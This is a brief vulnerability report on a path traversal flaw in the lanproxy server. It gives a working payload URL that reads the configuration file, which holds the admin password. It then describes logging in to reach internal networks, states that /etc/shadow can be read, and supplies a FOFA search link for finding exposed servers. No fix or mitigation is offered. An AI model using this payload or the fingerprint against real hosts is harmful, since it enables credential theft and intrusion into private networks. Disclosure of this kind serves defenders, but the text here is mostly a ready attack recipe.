Path traversal vulnerability in lanproxy leads to connection to the intranet

[maybe-why-not]

Vendor of the product: https://github.com/ffay/lanproxy

Payload: http://192.168.5.43:8090/../conf/config.properties
Read configuration file

Configure the proxy to connect to the intranet after logging in with the password

Read /etc/shadow

Fingerprint:
https://fofa.so/result?q=%22Server%3A+LPS-0.1%22&qbase64=IlNlcnZlcjogTFBTLTAuMSI%3D